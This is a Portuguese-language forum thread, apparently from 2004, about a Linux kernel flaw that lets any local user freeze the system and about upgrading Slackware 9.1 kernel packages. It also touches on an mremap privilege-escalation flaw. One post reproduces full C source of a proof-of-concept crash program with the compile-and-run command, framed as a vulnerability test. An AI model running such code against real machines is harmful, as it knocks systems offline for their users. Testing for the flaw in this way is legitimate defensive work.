falha no kernel

quero saber como fazer pra aualiazar meu kernel..tenho que recompilar ele de volta..distro. .slackware 9.1
ou vou ter que dar
upgradepkg kernel-ide-2.4.26-i486-3.tgz
upgradepkg kernel-source-2.4.26-noarch-2.tgz



Slackware 9.1 packages:
614b79763721126939569f235d4524d6 kernel-ide-2.4.26-i486-3.tgz
43681f735928641a2b5fc786604bca77 kernel-source-2.4.26-noarch-2.tgz


Updated packages for Slackware 9.1:
ftp://ftp.slackware.com/pub/slackwar....26-i486-3.tgz
ftp://ftp.slackware.com/pub/slackwar...6-noarch-2.tgz
ftp://ftp.slackware.com/pub/slackwar...tches/kernels/

como sempre slack resolvendo nossos problemas :)
pena q o ftp ta LOTADO eu queria baixar soh o patch pra poder usar na minha distro... num queria o kernel inteiro

1c3_m4n ...
entao tem jeito de pegar so patch...vou pegar kernel inteiro...

isso que ta foda..hehe quero saber qual deve pegar aqui em

Updated packages for Slackware 9.1:
ftp://ftp.slackware.com/pub/slackwar....26-i486-3.tgz
ftp://ftp.slackware.com/pub/slackwar...6-noarch-2.tgz
ftp://ftp.slackware.com/pub/slackwar...tches/kernels/

entaum eu sei q tem :) soh q o ftp.slackware.com ta lotado pq ta todo mundo baixando... eu queria pegar soh o font de patch pra eu customizar pra minha distro...

entaum cara vc tem q usar o kernel-source se vc quiser recompilar, se for soh atualizar eh soh o ide

Foi divulgada a descoberta de uma falha no Kernel do Linux. Esta falha faz com que um código malicioso provoque um crash, travando todo o sistema. A falha atinge as versões 2.4.2x e 2.6.x nas arquiteturas x86 e x86_86.
O problema ocorre quando o código malicioso é compilado. O que torna o problema mais grave é que para compilar o código, o usuário não precisa ser root: qualquer user com acesso a shell pode fazê-lo.


Os patches para correção do problema já estão disponíveis e podem ser baixados aqui: http://www.linuxreviews.org/news/200...ndex.html#toc6


http://www.linuxreviews.org/news/200...ash/index.html


http://www.golivre.org/modules.php?n...rticle&sid=359

Citação:

---

Postado originalmente por Pedro0278

Os patches para correção do problema já estão disponíveis e podem ser baixados aqui: http://www.linuxreviews.org/news/200...ndex.html#toc6


http://www.linuxreviews.org/news/200...ash/index.html


http://www.golivre.org/modules.php?n...rticle&sid=359

---

ESSES PATCHES SAO UMA GAMBIARRA!!!!!!!!!!!!!
Eles soh num deixam a maquina travar mas deixa um processo com 99% da CPU
a noite vou testar o do slack pra ver oq acontece

Vixe cara.... tu tá tão desesperado que ja tentou de tudo hem???

Ainda bem que meu Kernel é o 2.4.25 senão estaria doido também a uma hora dessas... :D :D

HEheheh eu num to desesperado naum pq ninguem tem acesso aos meus servers... :)
mas to preocupado pq isso eh uma falha grave descoberta no dia 11 e soh AGORA foram arrumar alguma solucao.... imagina qtas maquinas num estao sendo travadas nesse instante

pq tu não tenta compilar o Kernel 2.2.25 para tua máquina? não seria mais fácil doque usaresse problemático ai?

Esse kernel que to usando é beleza... até agora não me trouxe nenhum problema.

achu qvc quiz dizer o 2.4.25 neh? ele num ta vulneravel naum com vc???? pela lista ele eh sim.,...
bom tem q ver q isso num depende soh do kernel, depende tb da versao do gcc q ele foi compilado,
sao varios porens...

The safe kernels
This code does nothing but exit with the error message Floating point exception and can not do any damage to systems running
Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
2.2.19-kernel

o seu num eh gentoo eh?

foda agora ter link pra pegar o kernel ja que esta tudo lotado....ehheh


1c3_m4n

vou ter que recompilar..tudo de novo..qual desse ser o certo
mas pra serve esse bosta aqui em entao kernel-ide-2.4.26-i486-3.tgz



Slackware 9.1 packages:
614b79763721126939569f235d4524d6 kernel-ide-2.4.26-i486-3.tgz
43681f735928641a2b5fc786604bca77 kernel-source-2.4.26-noarch-2.tgz


Updated packages for Slackware 9.1:
ftp://ftp.slackware.com/pub/slackwar....26-i486-3.tgz
ftp://ftp.slackware.com/pub/slackwar...6-noarch-2.tgz
ftp://ftp.slackware.com/pub/slackwar...tches/kernels/

lah no site deles tem varios "mirrors" mas esses "mirrors" estao todos desatualizado, bom todos 5 q eu testei e o do brasil ta lotado tb :(

não ir3_c4n uso o conectiva 8 e o Kurumin3.0

Quem quiser se arriscar no teste do Kernel é só seguir os passos abaixo:

Crie um arquivo com o código abaixo e chame-o de crash.c. Ou baixe-o diretamente daqui.

#include
#include
#include

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

Em seguida rode o comando abaixo a partir de um terminal como usuário comum

$ gcc crash.c -o evil && ./evil

Se seu kernel tiver a vulnerabilidade explorada por esse programa, sua máquina vai travar completamente.

Repito:ATENÇÃO: NÃO APLIQUE O TESTE ABAIXO NUM SERVIDOR EM PRODUÇÃO.
É recomendável fazer backup, parar o serviço e executar o teste. O melhor é se informar no site de sua distro e obter atualizações, caso necessário.

cara tenho que pegar so isso..
aqui em
1c3_m4n

upgradepkg kernel-ide-2.4.26-i486-3.tgz
upgradepkg kernel-source-2.4.26-noarch-2.tgz

Pessoal doidinho pra atualizar o kernel hehe... eu tb :(

Queria aproveitar, ja que estamos falando do kernel e não seria necessario abrir outro topico, pra perguntar uma coisa: alguns meses atrás surgiu uma falha na função mremap() do kernel que afeta as versoes <=2.4.24 se nao me engano, e algumas do 2.6.... até aí tudo bem, mas tive a impressão de ter outra falha após essa descoberta, na mesma função... alguem ta sabendo?

Soh to querendo matar 2 coelhos com um tiro só... esse System Crash que vcs tao falando e essa falha do mremap().. assim recompilo o kernel e me livro disso :P

num fiquei sabendo dessa outra falha nao, vou dar uma pesquisada

É uma falha local, de escalacao de privilégio...

http://www.isec.pl/vulnerabilities/i...emap-unmap.txt

E ai, alguém testou o patch do Slack? Funciona? Ele serve para as outras distros, se eu baixar os fontes e compilar no meu Debian funciona?


Abraços
Dirceu

Pergunta bobinha: se não tiver gcc na máquina, CRARU que não vai ter vulnerabilidade correto?

Imagino que não pois o erro rola na compilação...

Mas usamos o GCC pra compilar, e se não tiver o GCC pra compilar.... Entendeu? Sem o GCC, como compilar?


PS: Se o servidor não precisar de GCC, acho que pode ser removido ou NÃO instalado. Se ele precisar de GCC, daí é outra história...

Servidor sem GCC eh a mesma coisa que água sem copo hehe
Sempre precisamos dele pra compilacao de novos pacotes, instalar novos serviços, etc :P

entaum a vulnerabilidade vai existir mesmo sem o gcc, mas ninguem vai conseguir compilar o crash nela... soh q tem o seguinte imagina alguem fazer um upload pro seu server com o codigo jah compilado?? te ferra do mesmo jeito

Não é água sem copo. Depende de qual distro você tá usando, você pode desfrutar das maravilhas do apt-get... Sem precisar compilar pacotes, e etc...
Agora, é claro que se você for colocar algo que precise ser compilado...... :(
Entendeu?

Citação:

---

Postado originalmente por Rooter

Pessoal doidinho pra atualizar o kernel hehe... eu tb :(

Queria aproveitar, ja que estamos falando do kernel e não seria necessario abrir outro topico, pra perguntar uma coisa: alguns meses atrás surgiu uma falha na função mremap() do kernel que afeta as versoes <=2.4.24 se nao me engano, e algumas do 2.6.... até aí tudo bem, mas tive a impressão de ter outra falha após essa descoberta, na mesma função... alguem ta sabendo?

Soh to querendo matar 2 coelhos com um tiro só... esse System Crash que vcs tao falando e essa falha do mremap().. assim recompilo o kernel e me livro disso :P

---

essas sao as falas divulgadas no slackware.com referente ao kernel
http://www.slackware.com/security/vi...ecurity.541911 (mremap)
http://www.slackware.com/security/vi...ecurity.659586 (ipt_sockopt)
http://www.slackware.com/security/vi...ecurity.612137 (este ultimo bug)

Então instala o gcc e atualiza o seu kernel para o 2.6.7 que ta tudo certo

Citação:

---

Postado originalmente por vonlinkerstain

Então instala o gcc e atualiza o seu kernel para o 2.6.7 que ta tudo certo

---

:p